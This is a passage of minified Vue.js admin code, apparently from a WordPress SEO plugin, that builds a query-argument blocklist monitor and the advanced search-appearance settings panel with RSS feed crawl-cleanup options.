the end. For example: %2$s",this.$td),"$",""+$(this.regexValue.replace(/\$/g,""))+"$"))),e}},watch:{regexValue(){this.warnings=this.testRegex()}}},ue={class:"card-block-query"},he={class:"query-arg-logs"},pe={class:"query-arg-options"},ge={class:"query-arg-key"},me={key:0,class:"query-arg-value"},_e={class:"query-arg-button"},ye={key:1};function be(e,t,b,o,s,m){const w=p("base-input"),h=p("base-select"),y=p("base-toggle"),A=p("svg-circle-plus"),v=p("base-button"),k=p("core-card"),S=p("core-alert");return d(),f("div",ue,[n(k,{"no-slide":"",slug:"blockQueryArg"},{header:i(()=>[r("span",null,a(s.strings.blockQuery),1)]),default:i(()=>[r("div",he,[r("div",pe,[r("div",ge,[s.regex?u("",!0):(d(),_(w,{key:0,modelValue:s.key,"onUpdate:modelValue":t[0]||(t[0]=c=>s.key=c),size:"medium",placeholder:s.strings.key},null,8,["modelValue","placeholder"])),s.regex?(d(),_(w,{key:1,modelValue:s.regexValue,"onUpdate:modelValue":t[1]||(t[1]=c=>s.regexValue=c),size:"medium",placeholder:"^utm_.*$"},null,8,["modelValue"])):u("",!0)]),s.regex?u("",!0):(d(),f("div",me,[n(h,{multiple:"",taggable:"",options:[],size:"medium",modelValue:s.valuesList,"onUpdate:modelValue":t[2]||(t[2]=c=>s.valuesList=c),placeholder:s.strings.value,"tag-placeholder":s.strings.createValue},null,8,["modelValue","placeholder","tag-placeholder"])])),r("div",null,[n(y,{modelValue:s.regex,"onUpdate:modelValue":t[3]||(t[3]=c=>s.regex=c)},{default:i(()=>[g(a(s.strings.regex),1)]),_:1},8,["modelValue"])])]),r("div",_e,[n(v,{size:"small",type:"black",disabled:!m.allowedAddQuery,onClick:t[4]||(t[4]=c=>m.addQuery())},{default:i(()=>[n(A),g(" "+a(s.strings.add),1)]),_:1},8,["disabled"])])])]),_:1}),s.isRegexValid?u("",!0):(d(),_(S,{key:0,class:"regex-error",type:"red",size:"medium"},{default:i(()=>[g(a(s.strings.invalidRegex),1)]),_:1})),s.regex&&s.warnings.length?(d(),f("div",ye,[(d(!0),f(ie,null,ae(s.warnings,(c,C)=>(d(),_(S,{key:C,class:"regex-warning",type:"yellow",size:"medium",innerHTML:c},null,8,["innerHTML"]))),128))])):u("",!0)])}const fe=D(ce,[["render",be]]),ke={setup(){return{optionsStore:G(),settingsStore:q()}},mixins:[de],components:{CoreAlert:B,CoreModal:re,CoreTooltip:Q,CoreWpTable:le,SvgCircleQuestionMark:x,SvgClose:z},props:{showBulkActions:{type:Boolean,default(){return!0}},showTableFooter:{type:Boolean,default(){return!0}},showHeader:{type:Boolean,default(){return!0}},blockArgs:[]},data(){return{tableId:"aioseo-query-args-wp-table",showAlert:!1,alertDescription:null,alertType:null,strings:{delete:this.$t.__("Delete",this.$td),add:this.$t.__("Add Block",this.$td),regex:this.$t.__("Regex",this.$td),key:this.$t.__("Key",this.$td),value:this.$t.__("Value",this.$td),yes:this.$t.__("Yes",this.$td),no:this.$t.__("No",this.$td),at:this.$t.__("at",this.$td),blockKey:this.$t.__("Block Key",this.$td),blockKeyValue:this.$t.__("Block Key & Value",this.$td),unblock:this.$t.__("Unblock",this.$td),success:this.$t.__("The query arg has been successfully added to the blocklist.",this.$td),unsuccess:this.$t.__("An error occurred while trying to add the query arg to the blocklist. Please try again later.",this.$td),unblockSuccess:this.$t.__("The query arg has been successfully unblocked.",this.$td),unblockUnsuccess:this.$t.__("An error occurred while trying to remove the query arg from the blocklist. Please try again later.",this.$td),deleteSuccess:this.$t.__("The query arg has been successfully deleted.",this.$td),deleteUnsuccess:this.$t.__("An error occurred while trying to delete the query arg. Please try again later.",this.$td),sureDeleteQuery:this.$t.__("Are you sure you want to delete this query arg?",this.$td),sureDeleteQueries:this.$t.__("Are you sure you want to delete these query args?",this.$td),sureBlockQuery:this.$t.__("Are you sure you want to block this query arg?",this.$td),sureBlockQueries:this.$t.__("Are you sure you want to block these query args?",this.$td),sureUnblockQuery:this.$t.__("Are you sure you want to unblock this query arg?",this.$td),sureUnblockQueries:this.$t.__("Are you sure you want to unblock these query args?",this.$td),thisWillRemoveQuery:this.$t.__("This action will permanently remove this query arg.",this.$td),thisWillRemoveQueries:this.$t.__("This action will permanently remove the selected query args.",this.$td),thisWillBlockQuery:this.$t.__("This action will block this query arg.",this.$td),thisWillBlockQueries:this.$t.__("This action will block the selected query args.",this.$td),thisWillUnblockQuery:this.$t.__("This action will unblock this query arg.",this.$td),thisWillUnblockQueries:this.$t.__("This action will unblock the selected query args.",this.$td),yesDeleteQuery:this.$t.__("Delete Query Arg",this.$td),yesDeleteQueries:this.$t.__("Delete Query Args",this.$td),yesBlockQuery:this.$t.__("Block Query Arg",this.$td),yesBlockQueries:this.$t.__("Block Query Args",this.$td),yesUnblockQuery:this.$t.__("Unblock Query Arg",this.$td),yesUnblockQueries:this.$t.__("Unblock Query Args",this.$td),noChangedMind:this.$t.__("No, I changed my mind",this.$td),actions:this.$t.__("Actions",this.$td),crawlCleanupTooltip:this.$t.__('The "Block key" blocks both the key and all of its values, while "Block Key & values" lets you selectively block only certain values, without blocking the entire key.',this.$td),blockedArgExists:this.$t.__("The query arg you've entered is already being blocked.",this.$td),blockedByRegex:this.$t.__("Blocked by regex: ",this.$td)},showModal:!1,showDeleteModal:!1,showBlockModal:!1,showUnblockModal:!1,rows:[],regexMatches:[],filters:[],selectedFilters:{slug:"unblocked",name:this.$t.__("Unblocked",this.$td),count:0,active:!0},totals:{total:0,pages:0,page:1},pageNumber:1,wpTableKey:0,searchTerm:null,wpTableLoading:!1,limit:this.settingsStore.settings.tablePagination.queryArgs,isMultipleSelected:!1,modalMessagemTitle:null,modalMessageDescription:null}},computed:{columns(){const e=[{slug:"slug",label:this.$t.__("URL",this.$td),with:"100%"}];return this.selectedFilters.slug==="blocked"&&e.push({slug:"regex",label:this.$t.__("Regex",this.$td),width:"60px"}),e.push({slug:"hits",label:this.$t.__("Hits",this.$td),width:"110px"},{slug:"updated",label:this.$t.__("Last Accessed",this.$td),width:"250px"},{slug:"actions",label:this.$t.__("Actions",this.$td),width:this.isBlockedSelected?"100px":"220px"}),e},isBlockedSelected(){return this.selectedFilters.slug==="blocked"},bulkOptions(){const e=[];return this.selectedFilters.slug==="unblocked"&&(e.push({label:this.$t.__("Block Key",this.$td),value:"block-key"}),e.push({label:this.$t.__("Block Key & Value",this.$td),value:"block-key-value"})),this.selectedFilters.slug==="blocked"&&e.push({label:this.$t.__("Unblock",this.$td),value:"unblock"}),e.push({label:this.$t.__("Delete",this.$td),value:"delete"}),e},yesDeleteQuery(){return this.isMultipleSelected?this.strings.yesDeleteQueries:this.strings.yesDeleteQuery},yesBlockQuery(){return this.isMultipleSelected?this.strings.yesBlockQueries:this.strings.yesBlockQuery},yesUnblockQuery(){return this.isMultipleSelected?this.strings.yesUnblockQueries:this.strings.yesUnblockQuery}},methods:{fetchData(){this.wpTableLoading=!0,T.post(F.restUrl("crawl-cleanup")).send({slug:this.slug,limit:this.limit?this.limit:this.settingsStore.settings.tablePagination.queryArgs,offset:this.pageNumber===1?0:(this.pageNumber-1)*this.limit,searchTerm:this.searchTerm,filter:this.selectedFilters?this.selectedFilters.slug:"unblocked"}).then(e=>{this.filters=e.body.filters,this.rows=e.body.rows,this.regexMatches=e.body.regex,this.totals=e.body.totals,this.pageNumber=e.body.totals.page,this.wpTableLoading=!1})},getSlug(e){return this.selectedFilters.slug==="blocked"?e.regex?e.regex:"?"+e.key+"="+(e.value?e.value:"*"):e.slug},blockKey(e){T.post(F.restUrl("crawl-cleanup/block/")).send(e).then(t=>{t.body.success===!1&&(this.openAlert(this.strings.unsuccess,"red"),t.body.error&&t.body.error===1&&this.openAlert(this.strings.blockedArgExists,"yellow")),this.fetchData()})},unblockKey(e){T.post(F.restUrl("crawl-cleanup/delete-blocked/")).send(e).then(t=>{t.body.success===!1&&this.openAlert(this.strings.unblockUnsuccess,"red"),this.fetchData()}).catch(t=>{console.log(t)})},openAlert(e,t="green"){this.showAlert=!0,this.alertDescription=e,this.alertType=t},processSearch(e){this.searchTerm=e,this.pageNumber=1,this.fetchData()},maybeDoBulkAction({action:e,selectedRows:t}){!e||!t.length||(this.showDeleteModal=e==="delete",this.showUnblockModal=e==="unblock",this.showBlockModal=e==="block-key"||e==="block-key-value",this.showModal=this.showDeleteModal||this.showBlockModal||this.showUnblockModal,this.action=e,this.selectedRows=t,this.isMultipleSelected=Array.isArray(t)&&1{this.showModal=!1,this.wpTableLoading=!1,this.openAlert(this.strings.deleteSuccess),e.body.success===!1&&this.openAlert(this.strings.deleteSuccess,"red"),this.fetchData()}).catch(e=>{console.log(e)}),this.selectedFilters.slug==="unblocked"&&T.post(F.restUrl("crawl-cleanup/delete-unblocked/")).send(this.selectedRows).then(e=>{this.showModal=!1,this.wpTableLoading=!1,this.openAlert(this.strings.deleteSuccess),e.body.success===!1&&this.openAlert(this.strings.deleteUnsuccess,"red"),this.fetchData()}).catch(e=>{console.log(e)})},processQueryBlock(){const e=this.selectedRows.map(t=>{const b=this.rows.find(o=>o.id===t);return b===void 0?null:{key:b.key,value:this.action==="block-key-value"?b.value:null,regex:b.regex}}).filter(t=>t!==null);this.blockKey(e)},processQueryUnblock(){this.unblockKey(this.selectedRows)},processChangeItemsPerPage(e){this.limit=e,this.pageNumber=1,this.fetchData()},doProcessFilterTable(e){this.pageNumber=1,this.searchTerm=null,this.selectedFilters=e,this.fetchData()},doProcessPagination(e){this.pageNumber=e,this.fetchData()},hasRegexBlock(e){return this.regexMatches[e]?this.regexMatches[e]:!1}},watch:{showAlert(e){e&&J(()=>{this.showAlert=!1},5e3)}},mounted(){this.fetchData(),window.aioseoBus.$on("blockArgAdded",e=>{this.wpTableLoading=!0,this.selectedFilters={slug:"blocked"},e.body.success===!1&&(this.openAlert(this.strings.unsuccess,"red"),e.body.error&&e.body.error===1&&this.openAlert(this.strings.blockedArgExists,"yellow"),this.wpTableLoading=!1),this.fetchData()})}},Se={class:"aioseo-query-args-table"},ve={class:"actions-query-args"},we={key:0},Ae=["onClick"],Ce={key:1},Te={key:0},Fe={class:"no-link"},Le={key:1},$e=["onClick"],Ve=r("span",{class:"separator"},"|",-1),Be=["onClick"],De={class:"aioseo-modal-body delete"},Re={class:"close"},Me={class:"reset-description"};function Ge(e,t,b,o,s,m){const w=p("core-alert"),h=p("svg-circle-question-mark"),y=p("core-tooltip"),A=p("core-wp-table"),v=p("svg-close"),k=p("base-button"),S=p("core-modal");return d(),f("div",Se,[s.showAlert?(d(),_(w,{key:0,type:s.alertType,size:"medium",innerHTML:s.alertDescription},null,8,["type","innerHTML"])):u("",!0),(d(),_(A,{id:s.tableId,"bulk-options":m.bulkOptions,columns:m.columns,filters:s.filters,"initial-items-per-page":o.settingsStore.settings.tablePagination.queryArgs,"initial-page-number":s.pageNumber,"initial-search-term":s.searchTerm,key:s.wpTableKey,loading:s.wpTableLoading,rows:s.rows,"search-label":s.strings.searchUrls,"selected-filters":s.selectedFilters,"show-bulk-actions":b.showBulkActions,"show-header":b.showHeader,"show-table-footer":b.showTableFooter,totals:s.totals,"show-items-per-page":"",onSearch:m.processSearch,onProcessBulkAction:m.maybeDoBulkAction,onFilterTable:m.doProcessFilterTable,onPaginate:m.doProcessPagination,onProcessChangeItemsPerPage:m.processChangeItemsPerPage},{actionsHeaderFooter:i(()=>[g(a(s.strings.actions)+" ",1),n(y,{placement:"left"},{tooltip:i(()=>[g(a(s.strings.crawlCleanupTooltip),1)]),default:i(()=>[n(h)]),_:1})]),slug:i(({row:c})=>[g(a(m.getSlug(c)),1)]),hits:i(({row:c})=>[g(a(parseInt(c.hits).toLocaleString()),1)]),regex:i(({row:c})=>[g(a(!c.regex||c.regex==="0"?s.strings.no:s.strings.yes),1)]),actions:i(({row:c})=>[r("div",ve,[m.isBlockedSelected?(d(),f("div",we,[r("span",{onClick:C=>m.maybeDoBulkAction({action:"unblock",selectedRows:[c.id]})},a(s.strings.unblock),9,Ae)])):u("",!0),m.isBlockedSelected?u("",!0):(d(),f("div",Ce,[m.hasRegexBlock(c.id)?(d(),f("div",Te,[r("span",Fe,a(s.strings.blockedByRegex)+" "+a(m.hasRegexBlock(c.id)),1)])):(d(),f("div",Le,[r("span",{onClick:C=>m.maybeDoBulkAction({action:"block-key",selectedRows:[c.id]})},a(s.strings.blockKey),9,$e),Ve,r("span",{onClick:C=>m.maybeDoBulkAction({action:"block-key-value",selectedRows:[c.id]})},a(s.strings.blockKeyValue),9,Be)]))]))])]),_:1},8,["id","bulk-options","columns","filters","initial-items-per-page","initial-page-number","initial-search-term","loading","rows","search-label","selected-filters","show-bulk-actions","show-header","show-table-footer","totals","onSearch","onProcessBulkAction","onFilterTable","onPaginate","onProcessChangeItemsPerPage"])),n(S,{show:s.showModal,"no-header":"",classes:["block-arg-modal"],onClose:t[5]||(t[5]=c=>s.showModal=!1)},{body:i(()=>[r("div",De,[r("button",Re,[n(v,{onClick:t[0]||(t[0]=c=>s.showModal=!1)})]),r("h3",null,a(s.modalMessagemTitle),1),r("div",Me,a(s.modalMessageDescription),1),s.showDeleteModal?(d(),_(k,{key:0,type:"blue",size:"medium",onClick:[m.processQueryDelete,t[1]||(t[1]=V(c=>s.showModal=!1,["stop"]))]},{default:i(()=>[g(a(m.yesDeleteQuery),1)]),_:1},8,["onClick"])):u("",!0),s.showBlockModal?(d(),_(k,{key:1,type:"blue",size:"medium",onClick:[m.processQueryBlock,t[2]||(t[2]=V(c=>s.showModal=!1,["stop"]))]},{default:i(()=>[g(a(m.yesBlockQuery),1)]),_:1},8,["onClick"])):u("",!0),s.showUnblockModal?(d(),_(k,{key:2,type:"blue",size:"medium",onClick:[m.processQueryUnblock,t[3]||(t[3]=V(c=>s.showModal=!1,["stop"]))]},{default:i(()=>[g(a(m.yesUnblockQuery),1)]),_:1},8,["onClick"])):u("",!0),n(k,{type:"gray",size:"medium",onClick:t[4]||(t[4]=c=>s.showModal=!1)},{default:i(()=>[g(a(s.strings.noChangedMind),1)]),_:1})])]),_:1},8,["show"])])}const xe=D(ke,[["render",Ge]]),Oe={setup(){return{optionsStore:G(),rootStore:K()}},components:{BaseCheckbox:E,BaseRadioToggle:W,BaseSelect:Y,CoreAlert:B,CoreCard:O,CoreExcludePosts:j,CoreHtmlTagsEditor:X,CorePostTypeOptions:Z,CoreRobotsMeta:ee,CoreSettingsRow:se,CoreTooltip:Q,SvgCircleQuestionMark:x,SvgExternal:te,QueryArgMonitorBlockArg:fe,QueryArgMonitorTable:xe},mixins:[H],data(){return{emptyString:"",strings:{advanced:this.$t.__("Advanced Settings",this.$td),globalRobotsMeta:this.$t.__("Global Robots Meta",this.$td),autogenerateDescriptions:this.$t.__("Autogenerate Descriptions",this.$td),useContentForAutogeneratedDescriptions:this.$t.__("Use Content for Autogenerated Descriptions",this.$td),runShortcodes:this.$t.__("Run Shortcodes",this.$td),runShortcodesDescription:this.$t.sprintf(this.$t.__("This option allows you to control whether %1$s should parse shortcodes when generating data such as the SEO title/meta description. Enabling this setting may cause conflicts with third-party plugins/themes. %2$s",this.$td),"AIOSEO",this.$links.getDocLink(this.$constants.GLOBAL_STRINGS.learnMore,"runningShortcodes",!0)),runShortcodesWarning:this.$t.sprintf(this.$t.__("NOTE: Enabling this setting may cause conflicts with third-party plugins/themes. %1$s",this.$td),this.$links.getDocLink(this.$constants.GLOBAL_STRINGS.learnMore,"runningShortcodes",!0)),noPaginationForCanonical:this.$t.__("No Pagination for Canonical URLs",this.$td),useKeywords:this.$t.__("Use Meta Keywords",this.$td),useKeywordsDescription:this.$t.__("This option allows you to toggle the use of Meta Keywords throughout the whole of the site.",this.$td),useCategoriesForMetaKeywords:this.$t.__("Use Categories for Meta Keywords",this.$td),useCategoriesDescription:this.$t.__("Check this if you want your categories for a given post used as the Meta Keywords for this post (in addition to any keywords you specify on the Edit Post screen).",this.$td),useTagsForMetaKeywords:this.$t.__("Use Tags for Meta Keywords",this.$td),useTagsDescription:this.$t.__("Check this if you want your tags for a given post used as the Meta Keywords for this post (in addition to any keywords you specify on the Edit Post screen).",this.$td),dynamicallyGenerateKeywords:this.$t.__("Dynamically Generate Meta Keywords",this.$td),dynamicallyGenerateDescription:this.$t.__("Check this if you want your keywords on your Posts page (set in WordPress under Settings, Reading, Front Page Displays) and your archive pages to be dynamically generated from the keywords of the posts showing on that page. If unchecked, it will use the keywords set in the edit page screen for the posts page.",this.$td),pagedFormat:this.$t.__("Paged Format",this.$td),pagedFormatDescription:this.$t.__("This string gets appended to the titles and descriptions of paginated pages (like term or archive pages).",this.$td),descriptionFormat:this.$t.__("Description Format",this.$td),excludePostsPages:this.$t.__("Exclude Posts / Pages",this.$td),excludeTerms:this.$t.__("Exclude Terms",this.$td),sitelinks:this.$t.__("Enable Sitelinks Search Box",this.$td),sitelinksDescription:this.$t.sprintf(this.$t.__("Choose whether %1$s should output the required schema markup that Google needs to generate a sitelinks search box.",this.$td),"AIOSEO"),descriptionTagRequired:this.$t.__("A Description tag is required in order to properly display your meta descriptions on your site.",this.$td),crawlCleanup:this.$t.__("Crawl Cleanup",this.$td),queryArgMonitoring:this.$t.__("Query Arg Monitoring",this.$td),logsRetention:this.$t.__("Logs Retention",this.$td),crawlCleanupDescription:this.$t.__("Disabling unnecessary RSS feeds can help save search engine crawl quota and speed up content indexing for larger sites. If you choose to disable any feeds, those feed links will automatically redirect to your homepage or applicable archive page.",this.$td),queryArgMonitorDescription:this.$t.__("This feature allows you to log all query arguments that are used on your site and block them. This will help prevent search engines from crawling every variation of your pages with unrecognized query arguments and help save search engine crawl quota.",this.$td),globalFeed:this.$t.__("Global RSS Feed",this.$td),globalFeedDescription:this.$t.__("The global RSS feed is how users subscribe to any new content that has been created on your site.",this.$td),openYourRssFeed:this.$t.__("Open Your RSS Feed",this.$td),disableGlobalFeedAlert:this.$t.__("Disabling the global RSS feed is NOT recommended. This will prevent users from subscribing to your content and can hurt your SEO rankings.",this.$td),globalCommentsFeed:this.$t.__("Global Comments RSS Feed",this.$td),globalCommentsFeedDescription:this.$t.__("The global comments feed allows users to subscribe to any new comments added to your site.",this.$td),openYourCommentsRssFeed:this.$t.__("Open Your Comments RSS Feed",this.$td),staticBlogPageFeed:this.$t.__("Static Posts Page Feed",this.$td),staticBlogPageFeedDescription:this.$t.__("The static posts page feed allows users to subscribe to any new content added to your blog page.",this.$td),openYourStaticBlogPageFeed:this.$t.__("Open Your Static Posts Page RSS Feed",this.$td),authorsFeed:this.$t.__("Author Feeds",this.$td),authorsFeedDescription:this.$t.__("The authors feed allows your users to subscribe to any new content written by a specific author.",this.$td),postCommentsFeed:this.$t.__("Post Comment Feeds",this.$td),postCommentsFeedDescription:this.$t.__("The post comments feed allows your users to subscribe to any new comments on a specific page or post.",this.$td),searchFeed:this.$t.__("Search Feed",this.$td),searchFeedDescription:this.$t.__("The search feed allows visitors to subscribe to your content based on a specific search term.",this.$td),attachmentsFeed:this.$t.__("Attachments Feed",this.$td),attachmentsFeedDescription:this.$t.__("The attachments feed allows users to subscribe to any changes to your site made to media file categories.",this.$td),postTypesFeed:this.$t.__("Post Type Archive Feeds",this.$td),includeAllPostTypes:this.$t.__("Include All Post Type Archives",this.$td),selectPostTypes:this.$t.__("Select which post type archives should include an RSS feed. This only applies to post types that include an archive page.",this.$td),taxonomiesFeed:this.$t.__("Taxonomy Feeds",this.$td),includeAllTaxonomies:this.$t.__("Include All Taxonomies",this.$td),selectTaxonomies:this.$t.__("Select which Taxonomies should include an RSS feed.",this.$td),atomFeed:this.$t.__("Atom Feed",this.$td),atomFeedDescription:this.$t.sprintf(this.$t.__("This is a global feed of your site output in the Atom format. %1$s",this.$td),this.$links.getPlainLink(this.$constants.GLOBAL_STRINGS.learnMore,"http://www.atomenabled.org/",!0)),openYourAtomFeed:this.$t.__("Open Your Atom Feed",this.$td),rdfFeed:this.$t.__("RDF/RSS 1.0 Feed",this.$td),rdfFeedDescription:this.$t.sprintf(this.$t.__("This is a global feed of your site output in the RDF/RSS 1.0 format. %1$s",this.$td),this.$links.getPlainLink(this.$constants.GLOBAL_STRINGS.learnMore,"https://web.resource.org/rss/1.0/",!0)),openYourRdfFeed:this.$t.__("Open Your RDF Feed",this.$td),paginatedFeed:this.$t.__("Paginated RSS Feeds",this.$td),paginatedFeedDescription:this.$t.__("The paginated RSS feeds are for any posts or pages that are paginated.",this.$td)},logsRetentionOptions:[{label:this.$t.__("1 hour",this.$td),value:"hour"},{label:this.$t.__("1 day",this.$td),value:"day"},{label:this.$t.__("1 week",this.$td),value:"week"},{label:this.$t.__("Forever",this.$td),value:"forever"}]}}},Qe={class:"aioseo-search-appearance-advanced"},Pe={class:"aioseo-description"},Ue={class:"aioseo-description"},Ne={class:"aioseo-description"},Ie={class:"aioseo-description"},qe={class:"aioseo-description"},Ke=["innerHTML"],He={class:"aioseo-description"},Ee=["innerHTML"],We={class:"aioseo-settings-row aioseo-section-description"},Ye=["innerHTML"],ze={key:0,class:"aioseo-description"},Je={class:"rss-link"},je=["href"],Xe=["href"],Ze={class:"aioseo-description"},es={key:0,class:"aioseo-description"},ss=["href"],ts=["href"],os={class:"aioseo-description"},ns={key:0,class:"aioseo-description"},is=["href"],as=["href"],rs={class:"aioseo-description"},ls={class:"aioseo-description"},ds={class:"aioseo-description"},cs={class:"aioseo-description"},us={class:"aioseo-description"},hs={class:"aioseo-description"},ps={class:"aioseo-description"},gs=["innerHTML"],ms={key:0,class:"aioseo-description"},_s=["href"],ys=["href"],bs=["innerHTML"],fs={key:0,class:"aioseo-description"},ks=["href"],Ss=["href"],vs={class:"aioseo-settings-row aioseo-section-description"},ws=["innerHTML"];function As(e,t,b,o,s,m){const w=p("core-robots-meta"),h=p("core-settings-row"),y=p("base-radio-toggle"),A=p("core-html-tags-editor"),v=p("core-alert"),k=p("core-exclude-posts"),S=p("core-card"),c=p("base-toggle"),C=p("svg-circle-question-mark"),P=p("core-tooltip"),L=p("svg-external"),R=p("base-checkbox"),M=p("core-post-type-options"),U=p("base-select"),N=p("query-arg-monitor-block-arg"),I=p("query-arg-monitor-table");return d(),f("div",Qe,[n(S,{slug:"searchAdvanced","header-text":s.strings.advanced},{default:i(()=>[n(h,{name:s.strings.globalRobotsMeta},{content:i(()=>[n(w,{options:o.optionsStore.options.searchAppearance.advanced.globalRobotsMeta,global:""},null,8,["options"])]),_:1},8,["name"]),n(h,{name:s.strings.sitelinks,align:""},{content:i(()=>[n(y,{modelValue:o.optionsStore.options.searchAppearance.advanced.sitelinks,"onUpdate:modelValue":t[0]||(t[0]=l=>o.optionsStore.options.searchAppearance.advanced.sitelinks=l),name:s.strings.sitelinks,options:[{label:e.$constants.GLOBAL_STRINGS.off,value:!1,activeClass:"dark"},{label:e.$constants.GLOBAL_STRINGS.on,value:!0}]},null,8,["modelValue","name","options"]),r("div",Pe,a(s.strings.sitelinksDescription),1)]),_:1},8,["name"]),o.optionsStore.internalOptions.internal.deprecatedOptions.includes("autogenerateDescriptions")?(d(),_(h,{key:0,name:s.strings.autogenerateDescriptions,align:""},{content:i(()=>[n(y,{modelValue:o.optionsStore.options.deprecated.searchAppearance.advanced.autogenerateDescriptions,"onUpdate:modelValue":t[1]||(t[1]=l=>o.optionsStore.options.deprecated.searchAppearance.advanced.autogenerateDescriptions=l),name:"autogenerateDescriptions",options:[{label:e.$constants.GLOBAL_STRINGS.off,value:!1,activeClass:"dark"},{label:e.$constants.GLOBAL_STRINGS.on,value:!0}]},null,8,["modelValue","options"])]),_:1},8,["name"])):u("",!0),o.optionsStore.internalOptions.internal.deprecatedOptions.includes("useContentForAutogeneratedDescriptions")&&(!o.optionsStore.internalOptions.internal.deprecatedOptions.includes("autogenerateDescriptions")||o.optionsStore.options.deprecated.searchAppearance.advanced.autogenerateDescriptions)?(d(),_(h,{key:1,name:s.strings.useContentForAutogeneratedDescriptions,align:""},{content:i(()=>[n(y,{modelValue:o.optionsStore.options.deprecated.searchAppearance.advanced.useContentForAutogeneratedDescriptions,"onUpdate:modelValue":t[2]||(t[2]=l=>o.optionsStore.options.deprecated.searchAppearance.advanced.useContentForAutogeneratedDescriptions=l),name:"useContentForAutogeneratedDescriptions",options:[{label:e.$constants.GLOBAL_STRINGS.off,value:!1,activeClass:"dark"},{label:e.$constants.GLOBAL_STRINGS.on,value:!0}]},null,8,["modelValue","options"])]),_:1},8,["name"])):u("",!0),n(h,{name:s.strings.noPaginationForCanonical,align:""},{content:i(()=>[n(y,{modelValue:o.optionsStore.options.searchAppearance.advanced.noPaginationForCanonical,"onUpdate:modelValue":t[3]||(t[3]=l=>o.optionsStore.options.searchAppearance.advanced.noPaginationForCanonical=l),name:"noPaginationForCanonical",options:[{label:e.$constants.GLOBAL_STRINGS.off,value:!1,activeClass:"dark"},{label:e.$constants.GLOBAL_STRINGS.on,value:!0}]},null,8,["modelValue","options"])]),_:1},8,["name"]),n(h,{name:s.strings.useKeywords,align:""},{content:i(()=>[n(y,{modelValue:o.optionsStore.options.searchAppearance.advanced.useKeywords,"onUpdate:modelValue":t[4]||(t[4]=l=>o.optionsStore.options.searchAppearance.advanced.useKeywords=l),name:"useKeywords",options:[{label:e.$constants.GLOBAL_STRINGS.no,value:!1,activeClass:"dark"},{label:e.$constants.GLOBAL_STRINGS.yes,value:!0}]},null,8,["modelValue","options"]),r("div",Ue,a(s.strings.useKeywordsDescription),1)]),_:1},8,["name"]),o.optionsStore.options.searchAppearance.advanced.useKeywords?(d(),_(h,{key:2,name:s.strings.useCategoriesForMetaKeywords,align:""},{content:i(()=>[n(y,{modelValue:o.optionsStore.options.searchAppearance.advanced.useCategoriesForMetaKeywords,"onUpdate:modelValue":t[5]||(t[5]=l=>o.optionsStore.options.searchAppearance.advanced.useCategoriesForMetaKeywords=l),name:"useCategoriesForMetaKeywords",options:[{label:e.$constants.GLOBAL_STRINGS.no,value:!1,activeClass:"dark"},{label:e.$constants.GLOBAL_STRINGS.yes,value:!0}]},null,8,["modelValue","options"]),r("div",Ne,a(s.strings.useCategoriesDescription),1)]),_:1},8,["name"])):u("",!0),o.optionsStore.options.searchAppearance.advanced.useKeywords?(d(),_(h,{key:3,name:s.strings.useTagsForMetaKeywords,align:""},{content:i(()=>[n(y,{modelValue:o.optionsStore.options.searchAppearance.advanced.useTagsForMetaKeywords,"onUpdate:modelValue":t[6]||(t[6]=l=>o.optionsStore.options.searchAppearance.advanced.useTagsForMetaKeywords=l),name:"useTagsForMetaKeywords",options:[{label:e.$constants.GLOBAL_STRINGS.no,value:!1,activeClass:"dark"},{label:e.$constants.GLOBAL_STRINGS.yes,value:!0}]},null,8,["modelValue","options"]),r("div",Ie,a(s.strings.useTagsDescription),1)]),_:1},8,["name"])):u("",!0),o.optionsStore.options.searchAppearance.advanced.useKeywords?(d(),_(h,{key:4,name:s.strings.dynamicallyGenerateKeywords,align:""},{content:i(()=>[n(y,{modelValue:o.optionsStore.options.searchAppearance.advanced.dynamicallyGenerateKeywords,"onUpdate:modelValue":t[7]||(t[7]=l=>o.optionsStore.options.searchAppearance.advanced.dynamicallyGenerateKeywords=l),name:"dynamicallyGenerateKeywords",options:[{label:e.$constants.GLOBAL_STRINGS.no,value:!1,activeClass:"dark"},{label:e.$constants.GLOBAL_STRINGS.yes,value:!0}]},null,8,["modelValue","options"]),r("div",qe,a(s.strings.dynamicallyGenerateDescription),1)]),_:1},8,["name"])):u("",!0),o.optionsStore.internalOptions.internal.deprecatedOptions.includes("descriptionFormat")?(d(),_(h,{key:5,id:"description-format",name:s.strings.descriptionFormat,align:""},{content:i(()=>[n(A,{class:"description-format",modelValue:o.optionsStore.options.deprecated.searchAppearance.global.descriptionFormat,"onUpdate:modelValue":t[8]||(t[8]=l=>o.optionsStore.options.deprecated.searchAppearance.global.descriptionFormat=l),"line-numbers":!1,single:"","show-tags-description":!1,"tags-context":"descriptionFormat","default-tags":["description","site_title","tagline"],"show-all-tags-link":!0},{"tags-description":i(()=>[g(a(s.emptyString),1)]),_:1},8,["modelValue"]),o.optionsStore.options.deprecated.searchAppearance.global.descriptionFormat.includes("#description")?u("",!0):(d(),_(v,{key:0,class:"description-notice",type:"red"},{default:i(()=>[g(a(s.strings.descriptionTagRequired),1)]),_:1}))]),_:1},8,["name"])):u("",!0),n(h,{name:s.strings.runShortcodes,align:""},{content:i(()=>[n(y,{modelValue:o.optionsStore.options.searchAppearance.advanced.runShortcodes,"onUpdate:modelValue":t[9]||(t[9]=l=>o.optionsStore.options.searchAppearance.advanced.runShortcodes=l),name:"runShortcodes",options:[{label:e.$constants.GLOBAL_STRINGS.off,value:!1,activeClass:"dark"},{label:e.$constants.GLOBAL_STRINGS.on,value:!0}]},null,8,["modelValue","options"]),o.optionsStore.options.searchAppearance.advanced.runShortcodes?(d(),_(v,{key:0,class:"run-shortcodes-alert",type:"yellow",innerHTML:s.strings.runShortcodesWarning},null,8,["innerHTML"])):u("",!0),r("div",{class:"aioseo-description",innerHTML:s.strings.runShortcodesDescription},null,8,Ke)]),_:1},8,["name"]),n(h,{name:s.strings.pagedFormat,align:""},{content:i(()=>[n(A,{class:"paged-format",modelValue:o.optionsStore.options.searchAppearance.advanced.pagedFormat,"onUpdate:modelValue":t[10]||(t[10]=l=>o.optionsStore.options.searchAppearance.advanced.pagedFormat=l),"line-numbers":!1,single:"","tags-context":"pagedFormat","default-tags":["page_number"],"show-all-tags-link":!1},{"tags-description":i(()=>[g(a(s.emptyString),1)]),_:1},8,["modelValue"]),r("div",He,a(s.strings.pagedFormatDescription),1)]),_:1},8,["name"]),o.optionsStore.internalOptions.internal.deprecatedOptions.includes("excludePosts")?(d(),_(h,{key:6,name:s.strings.excludePostsPages,class:"aioseo-exclude-pages-posts",align:""},{content:i(()=>[n(k,{options:o.optionsStore.options.deprecated.searchA